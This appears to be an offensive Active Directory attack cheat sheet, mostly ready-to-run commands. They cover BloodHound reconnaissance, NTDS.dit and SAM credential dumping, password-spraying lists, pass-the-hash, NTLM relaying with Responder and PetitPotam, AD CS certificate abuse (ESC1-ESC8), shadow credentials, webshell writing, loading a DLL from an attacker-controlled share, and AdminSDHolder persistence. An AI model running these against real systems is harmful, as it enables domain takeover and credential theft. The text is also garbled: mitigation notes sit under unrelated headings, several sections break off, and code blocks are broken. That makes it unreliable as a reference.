Active Directory Recon

Using BloodHound

Use the correct collector * AzureHound for Azure Active Directory * SharpHound for local Active Directory

use AzureHound powershell # require: Install-Module -name Az -AllowClobber # require: Install-Module -name AzureADPreview -AllowClobber Connect-AzureAD Connect-AzAccount . .\AzureHound.ps1 Invoke-AzureHound
use BloodHound ```powershell # run the collector on the machine using SharpHound.exe # https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe # /usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe .\SharpHound.exe -c all -d active.htb --searchforest .\SharpHound.exe -c all,GPOLocalGroup # all collection doesn't include GPOLocalGroup by default .\SharpHound.exe --CollectionMethod DCOnly # only collect from the DC, doesn't query the computers (more stealthy)

.\SharpHound.exe -c all --LdapUsername --LdapPassword --JSONFolder .\SharpHound.exe -c all --LdapUsername --LdapPassword --domaincontroller 10.10.10.100 -d active.htb .\SharpHound.exe -c all,GPOLocalGroup --outputdirectory C:\Windows\Temp --randomizefilenames --prettyjson --nosavecache --encryptzip --collectallproperties --throttle 10000 --jitter 23

# or run the collector on the machine using Powershell # https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1 # /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1 Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public Invoke-BloodHound -CollectionMethod All -LDAPUser -LDAPPass -OutputDirectory

# or remotely via BloodHound Python # https://github.com/fox-it/BloodHound.py pip install bloodhound bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all * Collect more data for certificates exploitation using Certipyps1 certipy find 'corp.local/john:Passw0rd@dc.corp.local' -bloodhound ```

Then import the zip/json files into the Neo4J database and query them.

root@payload$ apt install bloodhound 

# start BloodHound and the database
root@payload$ neo4j console
# or use docker
root@payload$ docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/bloodhound neo4j

root@payload$ ./bloodhound --no-sandbox
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j

You can add some custom queries like : * Bloodhound-Custom-Queries from @hausec * BloodHoundQueries from CompassSecurity * BloodHound Custom Queries from Exegol - @ShutdownRepo * Certipy BloodHound Custom Queries from ly4k

Replace the customqueries.json file located at /home/username/.config/bloodhound/customqueries.json or C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json.

Mitigations

Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780

From CVE to SYSTEM shell on DC

Sometimes you will find a Domain Controller without the latest patches installed, use the newest CVE to gain a SYSTEM shell on it. If you have a "normal user" shell on the DC you can also try to elevate your privileges using one of the methods listed in Windows - Privilege Escalation

samAccountName spoofing

During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a TGS to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid TGS for the domain controller.

Mitigations

Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
Delete existing GPP xml files in SYSVOL containing passwords.
Don’t put passwords in files that are accessible by all authenticated users.

Exploit Group Policy Objects GPO

Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner

:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local

GPO are stored in the DC in \\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\, inside two folders User and Machine. If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at Machine\Preferences\ScheduledTasks.

:warning: Domain members refresh group policy settings every 90 minutes by default but it can locally be forced with the following command: gpupdate /force.

Dumping AD Domain Credentials

You will need the following files to extract the ntds : - NTDS.dit file - SYSTEM hive (C:\Windows\System32\SYSTEM)

Usually you can find the ntds in two locations : systemroot\NTDS\ntds.dit and systemroot\System32\ntds.dit. - systemroot\NTDS\ntds.dit stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data). - systemroot\System32\ntds.dit is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.

However you can change the location to a custom one, you will need to query the registry to get the current location.

reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database file"

Using ndtsutil

C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit

or

ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q

Using Vshadow

vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit

You can also use the Nishang script, available at : https://github.com/samratashok/nishang

Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\

Using vssadmin

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy

Using DiskShadow (a Windows signed binary)

diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

then:
NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s  c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak

Using esentutl.exe

Copy/extract a locked file such as the AD Database

esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit

Extract hashes from ntds.dit

then you need to use secretsdump to extract the hashes, use the LOCAL options to use it on a retrieved ntds.dit

secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

secretsdump also works remotely

./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status 
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1

-pwd-last-set: Shows pwdLastSet attribute for each NTDS.DIT account.
-user-status: Display whether or not the user is disabled.

User Hunting

Sometimes you need to find a machine where a specific user is logged in.
You can remotely query every machines on the network to get a list of the users's sessions.

CrackMapExec ps1 cme smb 10.10.10.0/24 -u Administrator -p 'P@ssw0rd' --sessions SMB 10.10.10.10 445 WIN-8OJFTLMU1IG [+] Enumerated sessions SMB 10.10.10.10 445 WIN-8OJFTLMU1IG \\10.10.10.10 User:Administrator

Password spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.

The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.

Most of the time the best passwords to spray are :

P@ssw0rd01, Password123, Password1, Hello123, mimikatz
Welcome1/Welcome01
$Companyname1 :$Microsoft1
SeasonYear : Winter2019*, Spring2020!, Summer2018?, Summer2020, July2020!
Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
Empty Password (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)

Kerberos pre-auth bruteforcing

Using kerbrute, a tool to perform Kerberos pre-auth bruteforcing.

Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).

BadPwdCount attribute

The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.

Password of Pre-Created Computer Account

When Assign this computer account as a pre-Windows 2000 computer checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account SERVERDEMO$ would have the password serverdemo.

# Create a machine with default password
# must be run from a domain joined device connected to the domain
djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPWD /PRINTBLOB /NETBIOS evilpc

When you attempt to login using the credential you should have the following error code : STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT.
Then you need to change the password with rpcchangepwd.py

Reading LAPS Password

Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure.

Determine if LAPS is installed

Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'

Extract LAPS password

The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users

From Windows:

Grant LAPS Access

The members of the group "Account Operator" can add and modify all the non admin users and groups. Since LAPS ADM and LAPS READ are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password

Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Domain "domain.local"
Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -Domain "domain.local"

Reading GMSA Password

User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes.

GMSA Attributes in the Active Directory

msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) - stores the security principals that can access the GMSA password.
msds-ManagedPassword - This attribute contains a BLOB with password information for group-managed service accounts.
msDS-ManagedPasswordId - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
msDS-ManagedPasswordInterval - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.

Forging Golden GMSA

One notable difference between a Golden Ticket attack and the Golden GMSA attack is that they no way of rotating the KDS root key secret. Therefore, if a KDS root key is compromised, there is no way to protect the gMSAs associated with it.

Using GoldenGMSA ```ps1 # Enumerate all gMSAs GoldenGMSA.exe gmsainfo # Query for a specific gMSA GoldenGMSA.exe gmsainfo --sid S-1-5-21-1437000690-1664695696-1586295871-1112

Dump all KDS Root Keys

GoldenGMSA.exe kdsinfo

Dump a specific KDS Root Key

GoldenGMSA.exe kdsinfo --guid 46e5b8b9-ca57-01e6-e8b9-fbb267e4adeb

Compute gMSA password

--sid : SID of the gMSA (required)

--kdskey : Base64 encoded KDS Root Key

--pwdid : Base64 of msds-ManagedPasswordID attribute value

GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 # requires privileged access to the domain GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45UZXyuYB[...]G2/M= # requires LDAP access GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45U[...]SM0R7djG2/M= --pwdid AQAAA[..]AAA # Offline mode ```

Pass-the-Ticket Golden Tickets

Forging a TGT require the krbtgt NTLM hash

The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt ntlm hash must be used.

Using Mimikatz

# Get info - Mimikatz

Kerberoasting

"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN

Any valid domain user can request a kerberos ticket (TGS) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

Pass-the-Hash

The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.

Metasploit powershell use exploit/windows/smb/psexec set RHOST 10.2.0.3 set SMBUser jarrieta set SMBPass nastyCutt3r # NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack. # NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee) set PAYLOAD windows/meterpreter/bind_tcp run shell

You can extract the local SAM database to find the local administrator hash :

C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

OverPass-the-Hash (pass the key)

In this technique, instead of passing the hash directly, we use the NTLM hash of an account to request a valid Kerberost ticket (TGT).

Using impacket

Exploitation: * Capturing using Responder: Edit the /etc/responder/Responder.conf file to include the magical 1122334455667788 challenge ps1 HTTPS = On DNS = On LDAP = On ... ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788 * Fire Responder: responder -I eth0 --lm, if --disable-ess is set, extended session security will be disabled for NTLMv1 authentication * Force a callback: ps1 PetitPotam.exe Responder-IP DC-IP # Patched around August 2021 PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP # Not patched for authenticated users * If you got some NTLMv1 hashes, you need to format them to submit them on crack.sh ps1 username::hostname:response:response:challenge -> NTHASH:response NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972 * Or crack them with Hashcat / John The Ripper ps1 john --format=netntlm hash.txt hashcat -m 5500 -a 3 hash.txt * Now you can DCSync using the Pass-The-Hash with the DC machine account

:warning: NTLMv1 with SSP(Security Support Provider) changes the server challenge and is not quite ideal for the attack, but it can be used.

Mitigations:

Set the Lan Manager authentication level to Send NTLMv2 responses only. Refuse LM & NTLM

Capturing and cracking Net-NTLMv2/NTLMv2 hashes

If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR, MDNS and NETBIOS requests on the network.

MS08-068 NTLM reflection

NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.

This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.

SMB Signing Disabled and IPv4

If a machine has SMB signing:disabled, it is possible to use Responder with Multirelay.py script to perform an NTLMv2 hashes relay and get a shell access on the machine. Also called LLMNR/NBNS Poisoning

Open the Responder.conf file and set the value of SMB and HTTP to Off. powershell [Responder Core] ; Servers to start ... SMB = Off # Turn this off HTTP = Off # Turn this off
Run python RunFinger.py -i IP_Range to detect machine with SMB signing:disabled.
Run python Responder.py -I <interface_card>
Use a relay tool such as ntlmrelayx or MultiRelay
- impacket-ntlmrelayx -tf targets.txt to dump the SAM database of the targets in the list.
- python MultiRelay.py -t <target_machine_IP> -u ALL
ntlmrelayx can also act as a SOCK proxy with every compromised sessions. ```powershell $ impacket-ntlmrelayx -tf /tmp/targets.txt -socks -smb2support [*] Servers started, waiting for connections Type help for list of commands ntlmrelayx> socks Protocol Target Username Port -------- -------------- ------------------------ ---- MSSQL 192.168.48.230 VULNERABLE/ADMINISTRATOR 1433 SMB 192.168.48.230 CONTOSO/NORMALUSER1 445 MSSQL 192.168.48.230 CONTOSO/NORMALUSER1 1433

You might need to select a target with "-t"

impacket-ntlmrelayx -t mssql://10.10.10.10 -socks -smb2support impacket-ntlmrelayx -t smb://10.10.10.10 -socks -smb2support

the socks proxy can then be used with your Impacket tools or CrackMapExec

$ proxychains impacket-smbclient //192.168.48.230/Users -U contoso/normaluser1 $ proxychains impacket-mssqlclient DOMAIN/USER@10.10.10.10 -windows-auth $ proxychains crackmapexec mssql 10.10.10.10 -u user -p '' -d DOMAIN -q "SELECT 1"
```

Mitigations:

Relaying with WebDav Trick

Example of exploitation where you can coerce machine accounts to authenticate to a host and combine it with Resource Based Constrained Delegation to gain elevated access. It allows attackers to elicit authentications made over HTTP instead of SMB

Requirement: * WebClient service

Exploitation: * Disable HTTP in Responder: sudo vi /usr/share/responder/Responder.conf * Generate a Windows machine name: sudo responder -I eth0, e.g: WIN-UBNW4FI3AP0 * Prepare for RBCD against the DC: python3 ntlmrelayx.py -t ldaps://dc --delegate-access -smb2support * Discover WebDAV services ps1 webclientservicescanner 'domain.local'/'user':'password'@'machine' crackmapexec smb 'TARGETS' -d 'domain' -u 'user' -p 'password' -M webdav GetWebDAVStatus.exe 'machine' * Trigger the authentication to relay to our nltmrelayx: PetitPotam.exe WIN-UBNW4FI3AP0@80/test.txt 10.0.0.4, the listener host must be specified with the FQDN or full netbios name like logger.domain.local@80/test.txt. Specifying the IP results in anonymous auth instead of System. ```ps1 # PrinterBug dementor.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt" "ATTACKER_IP" SpoolSample.exe "ATTACKER_IP" "ATTACKER_NETBIOS_NAME@PORT/randomfile.txt"

ESC1 - Misconfigured Certificate Templates

Domain Users can enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.

Requirements: * Template that allows for AD authentication * ENROLLEE_SUPPLIES_SUBJECT flag * [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)

Exploitation: * Use Certify.exe to see if there are any vulnerable templates ps1 Certify.exe find /vulnerable Certify.exe find /vulnerable /currentuser # or PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local' # or certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound * Use Certify, Certi or Certipy to request a Certificate and add an alternative name (user to impersonate) ps1 # request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.

WARNING: These certificates will still be usable even if the user or computer resets their password!

NOTE: Look for EDITF_ATTRIBUTESUBJECTALTNAME2, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, ManageCA flags, and NTLM Relay to AD CS HTTP Endpoints.

ESC2 - Misconfigured Certificate Templates

Requirements: * Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)

Exploitation: * Find template ps1 PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local' * Request a certificate specifying the /altname as a domain admin like in ESC1.

ESC3 - Misconfigured Enrollment Agent Templates

ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users

Request a certificate based on the vulnerable certificate template ESC3. ps1 $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3' [*] Saved certificate and private key to 'john.pfx'
Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user ps1 $ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

ESC4 - Access Control Vulnerabilities

Enabling the mspki-certificate-name-flag flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability

Search for WriteProperty with value 00000000-0000-0000-0000-000000000000 using modifyCertTemplate ps1 python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl

ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2

If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.

Exploitation: * Use Certify.exe to check for UserSpecifiedSAN flag state which refers to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag. ps1 Certify.exe cas * Request a certificate for a template and add an altname, even though the default User template doesn't normally allow to specify alternative names ps1 .\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin

Mitigation:
* Remove the flag : certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2

ESC7 - Vulnerable Certificate Authority Access Control

Exploitation: * Detect CAs that allow low privileged users the ManageCA or Manage Certificates permissions ps1 Certify.exe find /vulnerable * Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6) ps1 Certify.exe setconfig /enablesan /restart * Request the certificate with the desired SAN. ps1 Certify.exe request /template:User /altname:super.adm * Grant approval if required or disable the approval requirement ps1 # Grant Certify.exe issue /id:[REQUEST ID] # Disable Certify.exe setconfig /removeapproval /restart

Alternative exploitation from ManageCA to RCE on ADCS server:

# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly

# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx

# Write the default asp shell to a local web directory:

# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php

ESC8 - AD CS Relay Attack

An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

Pass-The-Certificate

Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"

Windows ```ps1 # Information about a cert file certutil -v -dump admin.pfx

# From a Base64 PFX Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show

# Grant DCSync rights to an user ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid # To restore ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt * Linuxps1 # Base64-encoded PFX certificate (string) (password can be set) gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" # PEM certificate (file) + PEM private key (file) gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# PFX certificate (file) + password (string, optionnal) gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

UnPAC The Hash

Using the UnPAC The Hash method, you can retrieve the NT Hash for an User via its certificate.

Windows ps1 # Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC. Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
Linux ```ps1 # Obtain a TGT by validating a PKINIT pre-authentication $ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

Use the session key to recover the NT hash

$ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME' ```

Shadow Credentials

Add Key Credentials to the attribute msDS-KeyCredentialLink of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user. When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.

:warning: User objects can't edit their own msDS-KeyCredentialLink attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists

Requirements: * Domain Controller on (at least) Windows Server 2016 * Domain must have Active Directory Certificate Services and Certificate Authority configured * PKINIT Kerberos authentication * An account with the delegated rights to write to the msDS-KeyCredentialLink attribute of the target object

Exploitation: - From Windows, use Whisker: powershell # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object. Whisker.exe list /target:computername$ # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device. Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password" Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1] # Removes a key credential from the target object specified by a DeviceID GUID. Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b

From Linux, use pyWhisker: bash # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object. python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list" # Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device. pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list" python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1" # Removes a key credential from the target object specified by a DeviceID GUID. python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"

Scenario:

Scenario 1: Shadow Credential relaying
Trigger an NTLM authentication from DC01 (PetitPotam)
Relay it to DC02 (ntlmrelayx)
Edit DC01's attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
Alternatively : ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'
Scenario 2: Workstation Takeover with RBCD ```ps1 # Only for C2: Add Reverse Port Forward from 8081 to Team Server 81

Dangerous Built-in Groups Usage

If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object CN=AdminSDHolder,CN=System or set "dminCount attribute to 0 for the required object.

The AdminCount attribute is set to 1 automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).

Find users with AdminCount=1.

crackmapexec ldap 10.10.10.10 -u username -p password --admin-count
# or
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.10.10.10
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
# or
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
# or
([adsisearcher]"(AdminCount=1)").findall()

AdminSDHolder Abuse

The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.

If you modify the permissions of AdminSDHolder, that permission template will be pushed out to all protected accounts automatically by SDProp (in an hour). E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.

# Add a user to the AdminSDHolder group:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose

# Right to reset password for toto using the account titi
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword

# Give all rights
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName toto -Verbose -Rights All

Abusing DNS Admins Group

It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).

:warning: Require privileges to restart the DNS service.

Enumerate members of DNSAdmins group ps1 Get-NetGroupMember -GroupName "DNSAdmins" Get-ADGroupMember -Identity DNSAdmins
Change dll loaded by the DNS service ```ps1 # with RSAT dnscmd /config /serverlevelplugindll \attacker_IP\dll\mimilib.dll dnscmd 10.10.10.11 /config /serverlevelplugindll \10.10.10.10\exploit\privesc.dll

Abusing Active Directory ACLs/ACEs

Check ACL for an User with ADACLScanner.

ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show

GenericAll

GenericAll on User : We can reset user's password without knowing the current password
GenericAll on Group : Effectively, this allows us to add ourselves (the user hacker) to the Domain Admin group :
- On Windows : net group "domain admins" hacker /add /domain
- On Linux:
  - using the Samba software suite : net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]
  - using bloodyAD: bloodyAD.py --host [DC IP] -d DOMAIN -u hacker -p MyPassword123 addObjectToGroup UserToAdd 'GROUP NAME'
GenericAll/GenericWrite : We can set a SPN on a target account, request a TGS, then grab its hash and kerberoast it. ```powershell # Check for interesting permissions on accounts: Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}

